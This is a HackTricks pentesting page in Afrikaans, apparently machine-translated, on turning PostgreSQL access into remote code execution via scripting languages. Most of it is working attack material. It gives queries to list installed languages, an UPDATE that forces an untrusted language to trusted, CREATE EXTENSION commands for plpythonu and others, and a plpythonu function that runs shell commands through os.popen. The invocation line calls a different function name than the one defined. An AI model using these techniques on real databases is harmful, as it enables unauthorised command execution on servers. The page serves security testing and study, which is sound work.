RCE with PostgreSQL Languages

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

PostgreSQL Tale

Die PostgreSQL-databasis waarop jy toegang het, kan verskillende skripsietale geïnstalleer hê wat jy kan misbruik om arbitrêre kode uit te voer.

Jy kan hulle laat loop:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Die meeste skript tale wat jy in PostgreSQL kan installeer het 2 smake: die vertroude en die onvertroude. Die onvertroude sal 'n naam hê wat eindig met "u" en dit sal die weergawe wees wat jou in staat stel om kode uit te voer en ander interessante funksies te gebruik. Hier is tale wat interessant kan wees as dit geïnstalleer is:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (enige ander programmeringstaal wat 'n onveilige weergawe gebruik)

As jy vind dat 'n interessante taal geïnstalleer is, maar onvertroude deur PostgreSQL (lanpltrusted is false), kan jy probeer om dit te vertrou met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (jy moet superadmin wees):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Merk op dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk hierdie vir 'n voorbeeld. Dit is dus altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs as jy slegs die vertroude een vind.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Kyk na die volgende bladsy:

pagePL/pgSQL Password Bruteforce

C

Kyk na die volgende bladsy:

pageRCE with PostgreSQL Extensions
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Last updated